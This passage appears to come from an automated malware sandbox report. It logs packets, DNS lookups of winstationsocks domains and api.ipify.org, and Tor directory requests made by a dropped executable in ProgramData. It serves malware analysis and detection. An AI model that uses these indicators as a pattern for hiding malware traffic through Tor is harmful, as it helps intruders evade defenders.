Feb 9, 2023 01:01:55.756175041 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756175041 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756201982 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756222010 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756228924 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756256104 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756273985 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756282091 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756309032 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756320000 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756337881 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756367922 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756396055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756414890 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756426096 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756453037 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756454945 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756483078 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756496906 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756511927 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756541014 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756552935 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756572008 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756601095 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756628036 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756642103 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756656885 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756678104 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756685019 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756712914 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756740093 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756752014 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756767988 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756783962 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756797075 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756824017 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756850958 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756863117 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756879091 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756896973 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756906033 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756933928 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756961107 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.756973028 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.756989002 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.757008076 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.757014990 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.757633924 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.761080980 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.784190893 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.805455923 CET	80	49738	131.188.40.189	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 9, 2023 00:59:56.504396915 CET	60841	53	192.168.2.5	8.8.8.8
Feb 9, 2023 00:59:56.528392076 CET	53	60841	8.8.8.8	192.168.2.5
Feb 9, 2023 00:59:56.537499905 CET	61893	53	192.168.2.5	8.8.8.8
Feb 9, 2023 00:59:56.559506893 CET	53	61893	8.8.8.8	192.168.2.5
Feb 9, 2023 00:59:56.603351116 CET	60649	53	192.168.2.5	8.8.8.8
Feb 9, 2023 00:59:56.625726938 CET	53	60649	8.8.8.8	192.168.2.5
Feb 9, 2023 01:01:52.755605936 CET	63446	53	192.168.2.5	8.8.8.8
Feb 9, 2023 01:01:52.776331902 CET	53	63446	8.8.8.8	192.168.2.5
Feb 9, 2023 01:01:52.821448088 CET	56751	53	192.168.2.5	8.8.8.8
Feb 9, 2023 01:01:52.841624975 CET	53	56751	8.8.8.8	192.168.2.5
Feb 9, 2023 01:01:53.173963070 CET	55039	53	192.168.2.5	8.8.8.8
Feb 9, 2023 01:01:53.193766117 CET	53	55039	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 9, 2023 00:59:56.504396915 CET	192.168.2.5	8.8.8.8	0x4474	Standard query (0)	winstationsocks.com	A (IP address)	IN (0x0001)	false
Feb 9, 2023 00:59:56.537499905 CET	192.168.2.5	8.8.8.8	0x3b32	Standard query (0)	winstationsocks.xyz	A (IP address)	IN (0x0001)	false
Feb 9, 2023 00:59:56.603351116 CET	192.168.2.5	8.8.8.8	0xcb39	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Feb 9, 2023 01:01:52.755605936 CET	192.168.2.5	8.8.8.8	0x895f	Standard query (0)	winstationsocks.com	A (IP address)	IN (0x0001)	false
Feb 9, 2023 01:01:52.821448088 CET	192.168.2.5	8.8.8.8	0x1483	Standard query (0)	winstationsocks.xyz	A (IP address)	IN (0x0001)	false
Feb 9, 2023 01:01:53.173963070 CET	192.168.2.5	8.8.8.8	0x6203	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 9, 2023 00:59:56.528392076 CET	8.8.8.8	192.168.2.5	0x4474	Name error (3)	winstationsocks.com	none	none	A (IP address)	IN (0x0001)	false
Feb 9, 2023 00:59:56.559506893 CET	8.8.8.8	192.168.2.5	0x3b32	Name error (3)	winstationsocks.xyz	none	none	A (IP address)	IN (0x0001)	false
Feb 9, 2023 00:59:56.625726938 CET	8.8.8.8	192.168.2.5	0xcb39	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Feb 9, 2023 00:59:56.625726938 CET	8.8.8.8	192.168.2.5	0xcb39	No error (0)	api4.ipify.org		64.185.227.155	A (IP address)	IN (0x0001)	false
Feb 9, 2023 00:59:56.625726938 CET	8.8.8.8	192.168.2.5	0xcb39	No error (0)	api4.ipify.org		104.237.62.211	A (IP address)	IN (0x0001)	false
Feb 9, 2023 00:59:56.625726938 CET	8.8.8.8	192.168.2.5	0xcb39	No error (0)	api4.ipify.org		173.231.16.76	A (IP address)	IN (0x0001)	false
Feb 9, 2023 01:01:52.776331902 CET	8.8.8.8	192.168.2.5	0x895f	Name error (3)	winstationsocks.com	none	none	A (IP address)	IN (0x0001)	false
Feb 9, 2023 01:01:52.841624975 CET	8.8.8.8	192.168.2.5	0x1483	Name error (3)	winstationsocks.xyz	none	none	A (IP address)	IN (0x0001)	false
Feb 9, 2023 01:01:53.193766117 CET	8.8.8.8	192.168.2.5	0x6203	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Feb 9, 2023 01:01:53.193766117 CET	8.8.8.8	192.168.2.5	0x6203	No error (0)	api4.ipify.org		173.231.16.76	A (IP address)	IN (0x0001)	false
Feb 9, 2023 01:01:53.193766117 CET	8.8.8.8	192.168.2.5	0x6203	No error (0)	api4.ipify.org		104.237.62.211	A (IP address)	IN (0x0001)	false
Feb 9, 2023 01:01:53.193766117 CET	8.8.8.8	192.168.2.5	0x6203	No error (0)	api4.ipify.org		64.185.227.155	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

128.31.0.39

62.35.195.87

116.203.195.42

176.58.110.66

24.53.51.144

131.188.40.189

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49699	64.185.227.155	443	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49737	173.231.16.76	443	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49712	116.203.195.42	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:00:35.140511036 CET	2670	OUT	GET /tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab HTTP/1.0 Host: 116.203.195.42 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:00:35.171627998 CET	2671	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:00:35 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:00:35 GMT Data Raw: 72 6f 75 74 65 72 20 49 4e 53 52 65 6c 61 79 33 35 61 74 38 34 34 33 20 31 34 30 2e 37 38 2e 31 30 30 2e 33 35 20 38 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 76 61 41 62 78 72 38 6a 36 75 4b 35 43 76 49 61 4a 4b 4b 74 4c 4f 37 5a 6f 46 48 59 76 47 63 6e 68 6f 77 63 49 42 30 72 63 54 52 62 42 67 41 51 41 67 42 41 44 75 46 55 79 32 0a 75 45 7a 71 61 46 41 58 6e 51 67 6f 67 39 5a 76 71 41 54 53 6e 31 32 72 6b 77 2b 70 46 32 41 76 2f 72 47 65 75 59 47 41 78 79 7a 61 74 70 4a 59 68 4d 66 51 2f 33 74 4c 6a 37 31 57 71 31 6c 72 0a 49 6a 51 6d 6e 66 50 4c 72 4c 33 69 77 43 44 2b 4d 4b 70 73 56 2f 34 43 6b 72 31 39 37 58 33 35 30 41 67 4f 61 77 78 66 77 2b 70 6e 70 64 75 31 46 55 7a 2f 45 73 6e 2f 62 77 6f 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 37 68 56 4d 74 72 68 4d 36 6d 68 51 46 35 30 49 4b 49 50 57 62 36 67 45 30 70 39 64 71 35 4d 50 71 52 64 67 4c 2f 36 78 6e 72 6b 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 38 2e 30 2d 61 6c 70 68 61 2d 64 65 76 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 31 3a 32 35 3a 31 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 46 42 30 20 37 36 39 30 20 44 36 34 43 20 45 35 43 32 20 32 42 35 31 20 37 35 31 38 20 33 43 30 45 20 35 39 36 37 20 38 43 44 46 20 37 45 41 42 0a 75 70 74 69 6d 65 20 31 39 34 34 36 33 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 35 32 30 20 31 30 37 33 37 34 31 38 32 34 20 36 34 32 34 35 37 36 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 46 31 43 36 39 42 46 33 30 42 30 45 34 43 35 44 30 34 41 31 44 30 41 46 44 33 31 46 37 30 31 39 30 32 37 33 37 44 38 32 20 32 75 78 43 66 70 53 55 4a 50 4c 62 59 67 63 43 31 79 63 48 4e 30 36 52 67 63 33 67 36 30 55 42 78 7a 56 4a 6c 69 55 37 4d 51 4d 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 50 76 61 6f 56 75 54 4a 43 42 79 4a 79 66 39 2b 43 6a 4e 72 6e 46 55 78 4c 4f 6a 54 57 6d 62 52 77 31 70 67 31 30 78 55 65 35 50 70 4a 58 76 4f 2b 55 61 74 44 74 55 0a 32 68 54 4c 59 6c 59 58 49 76 50 69 58 6c 73 4e 35 38 54 59 58 30 55 68 6c 6c 72 51 66 32 34 48 52 65 68 41 45 41 6b 39 6c 67 57 69 38 72 64 49 55 30 36 74 39 7a 53 72 33 2b 42 5a 59 56 61 30 0a 34 4b 33 39 2b 69 41 71 36 66 44 7a 73 45 52 53 5a 33 54 37 37 36 52 59 48 34 50 46 31 4e 6f 77 4e 56 4e 55 30 50 33 73 59 70 37 7a 79 4e 74 79 59 39 6f 78 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f Data Ascii: router INSRelay35at8443 140.78.100.35 8443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxvaAbxr8j6uK5CvIaJKKtLO7ZoFHYvGcnhowcIB0rcTRbBgAQAgBADuFUy2uEzqaFAXnQgog9ZvqATSn12rkw+pF2Av/rGeuYGAxyzatpJYhMfQ/3tLj71Wq1lrIjQmnfPLrL3iwCD+MKpsV/4Ckr197X350AgOawxfw+pnpdu1FUz/Esn/bwo=-----END ED25519 CERT-----master-key-ed25519 7hVMtrhM6mhQF50IKIPWb6gE0p9dq5MPqRdgL/6xnrkplatform Tor 0.4.8.0-alpha-dev on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 11:25:17fingerprint 0FB0 7690 D64C E5C2 2B51 7518 3C0E 5967 8CDF 7EABuptime 194463bandwidth 107520 1073741824 6424576extra-info-digest F1C69BF30B0E4C5D04A1D0AFD31F701902737D82 2uxCfpSUJPLbYgcC1ycHN06Rgc3g60UBxzVJliU7MQMonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAPvaoVuTJCByJyf9+CjNrnFUxLOjTWmbRw1pg10xUe5PpJXvO+UatDtU2hTLYlYXIvPiXlsN58TYX0UhllrQf24HRehAEAk9lgWi8rdIU06t9zSr3+BZYVa04K39+iAq6fDzsERSZ3T776RYH4PF1NowNVNU0P3sYp7zyNtyY9oxAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49713	116.203.195.42	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:00:35.297224998 CET	2677	OUT	GET /tor/server/fp/1f2077bf01caf23f819d4892a89883196aba842a HTTP/1.0 Host: 116.203.195.42 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:00:35.319740057 CET	2678	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:00:35 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:00:35 GMT Data Raw: 72 6f 75 74 65 72 20 70 6c 75 74 6f 61 20 33 37 2e 32 33 35 2e 34 38 2e 32 34 37 20 37 36 35 34 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 73 64 41 56 33 6c 31 4d 5a 62 72 34 67 4f 75 72 44 42 38 6e 6f 77 30 51 71 35 6a 75 45 6f 79 54 39 38 61 39 57 6d 4b 36 59 42 5a 63 73 4c 41 51 41 67 42 41 44 70 62 43 65 45 0a 74 38 34 65 76 48 35 5a 42 4e 5a 6e 52 6f 54 46 76 49 33 71 74 63 33 77 77 75 51 41 66 2f 65 33 65 59 4c 79 7a 44 4a 4f 4c 59 78 38 56 6d 70 54 6b 65 7a 6e 7a 46 31 76 77 63 51 45 54 75 6a 76 0a 66 36 6c 65 6a 79 59 74 32 66 31 71 59 50 48 46 55 59 67 72 2f 35 78 4e 37 38 62 6e 31 54 31 6b 58 50 68 71 33 39 37 33 2f 32 6f 4c 65 46 72 41 51 45 2f 65 46 6b 79 2f 38 77 63 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 36 57 77 6e 68 4c 66 4f 48 72 78 2b 57 51 54 57 5a 30 61 45 78 62 79 4e 36 72 58 4e 38 4d 4c 6b 41 48 2f 33 74 33 6d 43 38 73 77 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 33 3a 66 38 30 3a 34 38 3a 33 37 3a 32 33 35 3a 34 38 3a 32 34 37 3a 31 5d 3a 37 36 35 34 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 38 3a 30 39 3a 30 36 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 31 46 32 30 20 37 37 42 46 20 30 31 43 41 20 46 32 33 46 20 38 31 39 44 20 34 38 39 32 20 41 38 39 38 20 38 33 31 39 20 36 41 42 41 20 38 34 32 41 0a 75 70 74 69 6d 65 20 37 31 32 38 32 32 0a 62 61 6e 64 77 69 64 74 68 20 36 35 35 33 36 30 20 31 30 37 33 37 34 31 38 32 34 20 35 37 34 37 38 37 36 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 32 37 44 31 46 30 43 37 33 37 30 37 36 45 46 37 36 38 41 43 33 33 37 30 37 42 45 35 34 43 43 41 34 43 31 36 46 37 31 36 20 41 66 70 34 75 2b 49 49 36 6e 78 6c 34 45 53 37 77 72 4a 2f 55 6d 65 4d 39 4a 68 55 79 6e 49 46 68 46 57 31 43 68 68 36 33 37 38 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 30 66 4b 33 6c 41 51 36 2b 6b 4d 76 4c 53 43 4b 4a 4c 53 52 38 66 74 75 2f 44 31 66 49 68 4a 66 41 4c 6a 56 63 57 51 38 41 31 31 67 55 30 47 36 53 6f 46 39 38 6a 0a 5a 42 62 68 66 39 51 4e 39 39 72 74 41 48 58 6c 79 62 4a 49 74 64 4c 36 78 6b 42 53 34 48 76 5a 76 33 49 57 69 53 53 36 55 4f 78 77 52 64 69 37 72 54 4c 5a 48 63 64 31 59 62 50 49 47 63 4a 65 0a 76 41 6e 79 42 39 5a 5a 63 42 4d 78 57 57 65 50 63 4a 65 45 48 62 36 74 6f 6d 45 79 73 71 62 76 4b 51 43 4c 68 65 63 32 71 52 38 76 58 65 70 48 65 31 6a 62 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e Data Ascii: router plutoa 37.235.48.247 7654 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxsdAV3l1MZbr4gOurDB8now0Qq5juEoyT98a9WmK6YBZcsLAQAgBADpbCeEt84evH5ZBNZnRoTFvI3qtc3wwuQAf/e3eYLyzDJOLYx8VmpTkeznzF1vwcQETujvf6lejyYt2f1qYPHFUYgr/5xN78bn1T1kXPhq3973/2oLeFrAQE/eFky/8wc=-----END ED25519 CERT-----master-key-ed25519 6WwnhLfOHrx+WQTWZ0aExbyN6rXN8MLkAH/3t3mC8swor-address [2a03:f80:48:37:235:48:247:1]:7654platform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 18:09:06fingerprint 1F20 77BF 01CA F23F 819D 4892 A898 8319 6ABA 842Auptime 712822bandwidth 655360 1073741824 5747876extra-info-digest 27D1F0C737076EF768AC33707BE54CCA4C16F716 Afp4u+II6nxl4ES7wrJ/UmeM9JhUynIFhFW1Chh6378onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAK0fK3lAQ6+kMvLSCKJLSR8ftu/D1fIhJfALjVcWQ8A11gU0G6SoF98jZBbhf9QN99rtAHXlybJItdL6xkBS4HvZv3IWiSS6UOxwRdi7rTLZHcd1YbPIGcJevAnyB9ZZcBMxWWePcJeEHb6tomEysqbvKQCLhec2qR8vXepHe1jbAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49719	176.58.110.66	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:05.971638918 CET	2719	OUT	GET /tor/server/fp/267ee437f0c28e8d0b5ddd5e0daeafc9bf0fe505 HTTP/1.0 Host: 176.58.110.66 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49722	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:16.520481110 CET	2732	OUT	GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:16.814721107 CET	2733	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:16 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:16 GMT Data Raw: 72 6f 75 74 65 72 20 72 65 6c 61 79 6f 6e 31 31 37 33 20 31 38 35 2e 32 32 30 2e 31 30 31 2e 31 37 33 20 31 31 31 37 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 71 69 41 65 6d 66 33 75 62 51 54 33 38 38 76 52 30 4c 68 38 62 47 44 73 38 6e 63 76 54 30 46 78 39 34 66 66 62 31 67 6f 79 7a 39 5a 7a 73 41 51 41 67 42 41 43 4d 77 51 76 74 0a 33 6d 69 31 78 6c 73 65 4b 68 68 4d 35 77 43 4d 6f 52 4a 42 78 76 6f 48 65 76 70 4f 53 61 58 33 6e 71 2f 59 70 47 4e 78 75 56 33 44 79 41 76 67 30 57 73 35 41 5a 44 6f 77 52 69 5a 65 75 51 64 0a 37 6b 38 2b 6d 4b 36 6d 31 56 42 66 2f 7a 56 38 54 72 32 6b 58 5a 42 43 6c 4b 6b 57 54 4b 2f 63 33 6f 30 78 31 41 52 33 4d 51 52 68 2b 57 65 69 61 72 32 72 31 62 55 36 79 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 6a 4d 45 4c 37 64 35 6f 74 63 5a 62 48 69 6f 59 54 4f 63 41 6a 4b 45 53 51 63 62 36 42 33 72 36 54 6b 6d 6c 39 35 36 76 32 4b 51 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 62 3a 66 34 63 32 3a 31 3a 3a 31 37 33 5d 3a 31 31 31 37 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 37 3a 34 35 3a 34 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 37 41 37 32 20 44 41 33 31 20 32 37 42 45 20 30 39 41 38 20 30 32 32 35 20 35 41 36 30 20 30 43 44 30 20 42 34 45 39 20 37 37 38 35 20 46 35 46 44 0a 75 70 74 69 6d 65 20 31 30 38 30 31 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 35 35 30 34 33 38 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 30 32 39 37 44 37 30 43 36 37 35 34 39 37 36 38 30 39 46 30 39 34 41 30 33 36 45 30 45 37 42 44 33 30 45 43 30 45 45 46 20 34 57 4d 51 6e 34 76 62 42 4e 66 45 46 4f 39 31 32 31 53 79 33 56 6a 79 2b 6c 4a 7a 69 4b 32 6e 6c 6e 4d 67 67 2f 31 6a 77 74 38 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 7a 4f 31 34 63 76 52 5a 52 4f 32 49 4e 57 67 54 57 70 6a 52 42 4e 64 52 37 66 76 71 45 36 6e 56 50 6e 73 43 32 46 42 52 4f 34 38 70 2f 79 52 7a 68 66 4d 51 43 57 0a 5a 6f 64 2f 54 76 77 76 63 33 70 59 32 70 66 4f 42 75 6a 73 32 38 6c 4c 51 66 32 57 65 4b 31 32 74 46 6f 4a 46 75 73 4b 37 76 32 41 42 61 76 2b 6d 39 31 2b 49 51 61 6b 51 66 78 